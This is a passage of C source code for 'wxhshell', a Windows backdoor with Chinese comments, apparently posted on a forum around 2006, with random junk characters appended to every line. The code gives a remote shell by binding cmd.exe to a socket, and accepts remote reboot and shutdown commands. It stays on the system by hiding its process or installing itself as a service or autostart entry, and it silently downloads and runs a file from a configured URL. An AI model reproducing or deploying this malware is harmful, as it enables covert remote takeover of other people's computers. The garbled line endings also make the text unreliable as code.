      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SYRr|Lg  
    break; |u8IQR'B  
  } X&fM36o7  
  // 安装 Z`<S_PPz  
  case 'i': { r$}M,! J  
    if(Install()) NrT!&>M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &p=Uus  
    else QNn\wz_)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /"?yB$s  
    break; E}Q'Wz|k  
    } m(SGE,("w  
  // 卸载 ol7%$:S  
  case 'r': { TZ{';oU  
    if(Uninstall()) 9`Bmop  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI.K|hU:P  
    else ;QkUW<(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "n3r,  
    break; =B@+[b0Z  
    }  P_6oMR  
  // 显示 wxhshell 所在路径 42E]&=Cet  
  case 'p': { lJ;7sgQ#  
    char svExeFile[MAX_PATH]; ste0:.*qb  
    strcpy(svExeFile,"\n\r"); Jt5\  
      strcat(svExeFile,ExeFile); <VI.A" Qk~  
        send(wsh,svExeFile,strlen(svExeFile),0); Q.X)QCp#r  
    break; b{JcV  
    }  |`[0U  
  // 重启 ,Bax0p  
  case 'b': { tIfA]pE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3*x_S"h  
    if(Boot(REBOOT)) ")m 0 {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p&dpDJ?d:=  
    else { H <41H;m  
    closesocket(wsh); ewHk (ru  
    ExitThread(0); %^tKt  
    } wb~B Y  
    break; b>SG5EqU@  
    } TtTp ,If  
  // 关机 =REMSe j  
  case 'd': { 4FUY1p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }-QFMPXhG  
    if(Boot(SHUTDOWN)) I^S gWC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0'q&7 MV  
    else { E{x<P0 ;  
    closesocket(wsh); vYb.Ub+  
    ExitThread(0); D*.U?  
    } 1) 7n (  
    break; vOIK6-   
    } A) {q 7WI  
  // 获取shell & -L$B  
  case 's': { k|V%*BvY>  
    CmdShell(wsh); 1;8=,&  
    closesocket(wsh); D! TFb E  
    ExitThread(0); ramYSX@  
    break; N?7MYP  
  } MYNNeO  
  // 退出 VwJ A  
  case 'x': { DmzK* O{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kz>bfq7  
    CloseIt(wsh); iY@wg 8ry  
    break; S&(MR%".  
    } $>^DkrOd  
  // 离开 %S*<2F9  
  case 'q': { #o`y<1rN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i2.g}pM.A  
    closesocket(wsh);  ;;>hWAS  
    WSACleanup(); rywui10x*  
    exit(1); pUbf]3 t  
    break; L_4c~4  
        } ][vm4UY  
  } 2kukQj (n  
  } ) 0NKL:u  
C7PVJnY0  
  // 提示信息 -_@zyF<G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iM \3~3'  
} 3XykIj1  
  } =Q+i(UGHi  
Hwb+@'o  
  return; 1M@OBfB8  
} VZveNz@]r  
zD}@QoB  
// shell模块句柄 G-7!|&  
int CmdShell(SOCKET sock) 8w4-Ud*$i  
{ T0HNld  
STARTUPINFO si; @nWhUH%  
ZeroMemory(&si,sizeof(si)); /Z3 Mlm{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |!t &ZpdD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >qE f991SZ  
PROCESS_INFORMATION ProcessInfo; au=A+  
char cmdline[]="cmd"; P"-*'q,9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~l {*XM  
  return 0; RBOb/.$  
} pg<m0g@W*;  
#3VOC#.  
// 自身启动模式 ht>C6y  
int StartFromService(void) ws/e~ T<c  
{ 69q#Zw[,,  
typedef struct # <?igtUO  
{ +"mS<  
  DWORD ExitStatus; l<3X:)  
  DWORD PebBaseAddress; )NF5,eD  
  DWORD AffinityMask; b@v_db]|t.  
  DWORD BasePriority; 8U8%XIEJ  
  ULONG UniqueProcessId; E5 ;6ks)  
  ULONG InheritedFromUniqueProcessId; bF2RP8?en  
}   PROCESS_BASIC_INFORMATION; ?Z^?A^; }$  
~Un+Zs%24  
PROCNTQSIP NtQueryInformationProcess; 8Cx6Me>,=  
 lL\%eQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >b;o&E`\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4*0C_F@RX  
7Gh+EJJ3I  
  HANDLE             hProcess; K UD.hK.  
  PROCESS_BASIC_INFORMATION pbi;  _BFDsQ  
yN@3uYBF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +DsdzR`Gx,  
  if(NULL == hInst ) return 0; k`we_$/Gw  
cMU"SO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8_W=)w6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8(3n v[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V><,.p8  
@5RbMf{  
  if (!NtQueryInformationProcess) return 0; )tvP|  
Wg5<@=x!G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {<}9r6k;f  
  if(!hProcess) return 0; #Vy8<Vy&w  
omP\qOc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @1w[~QlV  
z@<OR$/`L  
  CloseHandle(hProcess); ?td`*n~,  
Vb @lK~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G-6k[-@-v  
if(hProcess==NULL) return 0; c1ga{c`Z  
G+~f  
HMODULE hMod; C ^IPddw>  
char procName[255]; W5*Kq^6Pd  
unsigned long cbNeeded; +dG3/vV  
[%c5MQ?H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _|Uv7>}J^  
?S<`*O +  
  CloseHandle(hProcess); MvKr~  
=vs]Kmm  
if(strstr(procName,"services")) return 1; // 以服务启动 /2f  
RVN;j4uMg  
  return 0; // 注册表启动 >d3`\(v-  
} y9Q #%a8V  
g:fkM{"{  
// 主模块 nl-y0xD9c  
int StartWxhshell(LPSTR lpCmdLine) b!<\#[ A4  
{ drQI@sPp  
  SOCKET wsl; .fgVzDR|+  
BOOL val=TRUE; >~;= j~  
  int port=0; V8hmfV~=]P  
  struct sockaddr_in door; diWi0@  
OZR{+YrB^  
  if(wscfg.ws_autoins) Install(); ( 5 BZZ  
^ 'ws/(  
port=atoi(lpCmdLine); h-<Qj,L{W  
|}o6N5)  
if(port<=0) port=wscfg.ws_port; cx ~XG  
~@\sN+VS  
  WSADATA data; |SfCuV#g/<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7_Op(C4,nC  
.3'U(U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oLS/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ym8pB7E7%  
  door.sin_family = AF_INET; tfCK^{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (PC)R9r5  
  door.sin_port = htons(port); 2EH0d6nt  
Ya &\b 6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #F=!g?  
closesocket(wsl); 5{xK&[wR*  
return 1; #9glGPR(  
} +-!2nk`"a  
._q}lWT  
  if(listen(wsl,2) == INVALID_SOCKET) { h e[2,  
closesocket(wsl); l4> c  
return 1; 6)veuA3]  
} /E-s g, k  
  Wxhshell(wsl); &0`i(l4]l  
  WSACleanup(); #OlPnP2  
"s.hO0Z  
return 0; [Y4Wm?  
Z,oCkv("n  
} I8/tD|3  
c2u*<x  
// 以NT服务方式启动 {G+iobQdd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) []$L"?]0uk  
{  u]OYu  
DWORD   status = 0; +~V)&6Vn  
  DWORD   specificError = 0xfffffff; v~A*?WU;n  
&^7(?C' u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qd/x{a8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4" pU\g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M0$_x~  
  serviceStatus.dwWin32ExitCode     = 0; FR']Rj  
  serviceStatus.dwServiceSpecificExitCode = 0; sp&gw XPG  
  serviceStatus.dwCheckPoint       = 0; ]*hH.ZBY"^  
  serviceStatus.dwWaitHint       = 0; Pj1k?7  
F_Gc_eT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P]O=K  
  if (hServiceStatusHandle==0) return; &I:ZJuQ4  
OtbPr F5  
status = GetLastError(); ^fQa whub  
  if (status!=NO_ERROR) CK#i 6!~r  
{ NX5$x/uz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .^6yCs5~`  
    serviceStatus.dwCheckPoint       = 0; :'FCeS9  
    serviceStatus.dwWaitHint       = 0; DP-0,Gt&Xj  
    serviceStatus.dwWin32ExitCode     = status; 3RF`F i  
    serviceStatus.dwServiceSpecificExitCode = specificError; V KxuK0{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )nGH$Mu  
    return; KE6 XNG3  
  } k;Fxr%  
*L~?.9R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nkzH}F=<  
  serviceStatus.dwCheckPoint       = 0; Qff.QI,  
  serviceStatus.dwWaitHint       = 0; Yd(<;JKF[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CQPq5/@Y4  
} X}wo$t  
4y.qtiIP>$  
// 处理NT服务事件,比如:启动、停止 T!I3.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V%B~ q`4  
{ I_ AFHrj  
switch(fdwControl) gT(8.<h8  
{ "|Kag|(qB  
case SERVICE_CONTROL_STOP: D"2bgw  
  serviceStatus.dwWin32ExitCode = 0; s\< @v7A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1Ko4O)L]&  
  serviceStatus.dwCheckPoint   = 0; 6Jq3l_  
  serviceStatus.dwWaitHint     = 0; >?#zPweA  
  { DJ9x?SL@KD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sx8C<S5r<  
  } Z6-ZAS(>m  
  return; l"7#(a  
case SERVICE_CONTROL_PAUSE: vOLa.%X]h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _Ie:!q  
  break; ~9"c64 q  
case SERVICE_CONTROL_CONTINUE: }KO <II  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7%W1M@  
  break; s7sTY   
case SERVICE_CONTROL_INTERROGATE: a`[9<AM1#  
  break; {5fL!`6w  
}; O~v~s ' c&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^^lx Ot  
} :[CEHRc7x  
mlPvF%Ba  
// 标准应用程序主函数 ` Z/ MQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e0#t  
{ 'tDUPm38  
_''un3eCY  
// 获取操作系统版本 `H 'wz7  
OsIsNt=GetOsVer(); ^KnK \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BOh^oQh  
B[q"o I`  
  // 从命令行安装 Sfa=AV7K  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1*|/N}g)  
+,]VXH<y  
  // 下载执行文件 <s7cCpUFP  
if(wscfg.ws_downexe) { [9B1%W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g~$UU(HX  
  WinExec(wscfg.ws_filenam,SW_HIDE); `/?'^A%Ik  
} =6+99<G|%M  
+xgP&nw[-  
if(!OsIsNt) { w0+X;aId  
// 如果时win9x,隐藏进程并且设置为注册表启动 a4gX@&it_k  
HideProc(); AW E ab  
StartWxhshell(lpCmdLine); i]s%tEZ1  
} Y%?*Lj|  
else bdY:-8!3  
  if(StartFromService()) 3m9b  
  // 以服务方式启动 (,tu7u{  
  StartServiceCtrlDispatcher(DispatchTable); m=+x9gL2  
else nMZ)x-  
  // 普通方式启动 qGX#(,E9;  
  StartWxhshell(lpCmdLine); +jK-k_  
oH!O{pQK}  
return 0; ,QpFVlPU  
}
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只看该作者 1 发表于: 2006-10-10
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